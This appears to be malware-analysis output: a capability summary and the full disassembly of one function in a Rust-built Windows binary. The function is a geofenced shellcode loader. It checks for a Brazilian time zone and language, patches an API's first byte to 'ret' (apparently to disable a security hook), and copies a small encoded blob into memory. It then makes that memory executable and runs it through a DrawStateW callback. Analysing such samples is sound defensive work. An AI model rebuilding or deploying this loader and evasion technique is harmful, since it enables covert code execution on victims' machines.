Function at 0x401870
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xe8
lea esi, [ebp - 0xf4]
push esi
call sym.__ZN103__LT_windows..Windows..Win32..System..Time..TIME_ZONE_INFORMATION_u20_as_u20_core..default..Default_GT_7default17h4cdd0
add esp, 4
push esi
call sub.kernel32.dll_GetTimeZoneInformation
cmp dword [ebp - 0xf4], 0xb4
jne 0x401b3d
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx eax, ax
cmp eax, 0x416
jne 0x401b3d
lea ebx, [ebp - 0x40]
push 9
push 0x4bb0b8
push ebx
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x40], 0x80000000
jne 0x401bbd
mov esi, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x38]
push esi
call sub.kernel32.dll_LoadLibraryA
test eax, eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], edi
je 0x401abf
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 0
push 0xc
push 0x4bb0dc
push ebx
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x40], 0x80000000
jne 0x401bf3
mov ebx, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x30], 0
jne 0x401c29
push ebx
push eax
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x401ae3
mov esi, eax
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x24], 0
call sub.kernel32.dll_GetCurrentProcess
lea edi, [ebp - 0x24]
push edi
push 0x40
push 1
push esi
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x401969
mov byte [esi], 0xc3
push edi
push dword [ebp - 0x24]
push 1
push esi
call sub.kernel32.dll_VirtualProtect
mov eax, dword [ebp - 0x44]
mov byte [ebx], 0
test eax, eax
je 0x40197f
push 1
push eax
push ebx
call sym.___rust_dealloc
add esp, 0xc
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
test ecx, ecx
mov byte [eax], 0
je 0x401998
push 1
push ecx
push eax
call sym.___rust_dealloc
add esp, 0xc
lea eax, [0x4bb114]
mov dword [ebp - 0x24], 0x4bb108
mov dword [ebp - 0x20], eax
mov word [ebp - 0x1c], 0
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x40]
push eax
call sym.__ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17h79d5bccd5
add esp, 8
mov ebx, dword [ebp - 0x40]
mov esi, dword [ebp - 0x38]
cmp esi, ebx
jne 0x4019d3
lea ecx, [ebp - 0x40]
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::grow_one::hf9487646550fd33e
mov ebx, dword [ebp - 0x40]
mov edi, dword [ebp - 0x3c]
mov word [edi + esi*2], 0
push edi
call sub.kernel32.dll_LoadLibraryW
test eax, eax
je 0x401b09
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 0
push 0x11
push 0x4bb114
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x14], edi
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x40], 0x80000000
jne 0x401c51
mov eax, dword [ebp - 0x38]
mov esi, dword [ebp - 0x3c]
cmp dword [ebp - 0x30], 0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x2c]
jne 0x401c84
push esi
push eax
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x401aa4
mov edi, eax
mov dword [ebp - 0x40], 0xe
mov dword [ebp - 0x3c], 0xe
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x38], 0x4bb148
push 4
push 0x3000
push 0x114
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x401aa1
mov esi, eax
push 0x114
push 0x4bb156
push eax
call sym._memcpy
add esp, 0xc
mov dword [ebp - 0x24], 0x114
mov dword [ebp - 0x20], 0x114
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x24]
push eax
call edi
test eax, eax
je 0x401b48
mov esi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp - 0x14]
mov byte [esi], 0
test eax, eax
je 0x401b2b
push 1
push eax
push esi
call sym.___rust_dealloc
add esp, 0xc
jmp 0x401b2b
call sym.windows::core::error::Error::from_win32::h6d6fbe4c201fab50
test edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 1
je 0x401af6
lea eax, [ebp - 0x28]
push eax
call sym.__LT_windows..core..unknown..IUnknown_u20_as_u20_core..ops..drop..Drop_GT_::drop::h431d5f05e0934507
add esp, 4
jmp 0x401af6
test edi, edi
mov byte [ebx], 0
je 0x401af6
push 1
push edi
push ebx
call sym.___rust_dealloc
add esp, 0xc
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
test ecx, ecx
mov byte [eax], 0
je 0x401b3d
push 1
push ecx
push eax
jmp 0x401b35
call sym.windows::core::error::Error::from_win32::h6d6fbe4c201fab50
test edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 1
je 0x401b2b
lea eax, [ebp - 0x28]
push eax
call sym.__LT_windows..core..unknown..IUnknown_u20_as_u20_core..ops..drop..Drop_GT_::drop::h431d5f05e0934507
add esp, 4
test ebx, ebx
je 0x401b3d
add ebx, ebx
push 2
push ebx
push edi
call sym.___rust_dealloc
add esp, 0xc
add esp, 0xe8
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x48], 0
lea eax, [ebp - 0x48]
push eax
push 0x20
push 0x114
push esi
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x401aa1
push 0
call sub.user32.dll_GetDC
mov edi, eax
push pe_nt_image_headers32
push 1
push 1
push 0
push 0
push 0
push 0
push esi
push 0
push eax
call sub.user32.dll_DrawStateW
push edi
push 0
call sub.user32.dll_ReleaseDC
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x44]
test ecx, ecx
mov byte [eax], 0
je 0x401bac
push 1
push ecx
push eax
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x14]
test ebx, ebx
je 0x401b3d
add ebx, ebx
push 2
push ebx
jmp 0x401b06
movsd xmm0, qword [ebp - 0x40]
movsd xmm1, qword [ebp - 0x38]
movsd qword [ebp - 0x1c], xmm1
movsd qword [ebp - 0x24], xmm0
lea eax, [ebp - 0x24]
push 0x4bb0cc
push 0x4bb044
push eax
push 0x2b
push 0x4bb054
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x401cac
movsd xmm0, qword [ebp - 0x40]
movsd xmm1, qword [ebp - 0x38]
movsd qword [ebp - 0x1c], xmm1
movsd qword [ebp - 0x24], xmm0
lea eax, [ebp - 0x24]
push 0x4bb0e8
push 0x4bb044
push eax
push 0x2b
push 0x4bb054
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x401cac
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ecx
lea eax, [ebp - 0x24]
push 0x4bb0f8
push 0x4bb080
push eax
push 0x2b
push 0x4bb054
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x401cac
movsd xmm0, qword [ebp - 0x40]
movsd xmm1, qword [ebp - 0x38]
movsd qword [ebp - 0x1c], xmm1
movsd qword [ebp - 0x24], xmm0
push 0x4bb128
push 0x4bb044
lea eax, [ebp - 0x24]
push eax
push 0x2b
push 0x4bb054
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x401cac
mov ecx, dword [ebp - 0x28]
mov edi, esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ecx
push 0x4bb138
push 0x4bb080
lea eax, [ebp - 0x24]
push eax
push 0x2b
push 0x4bb054
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
ud2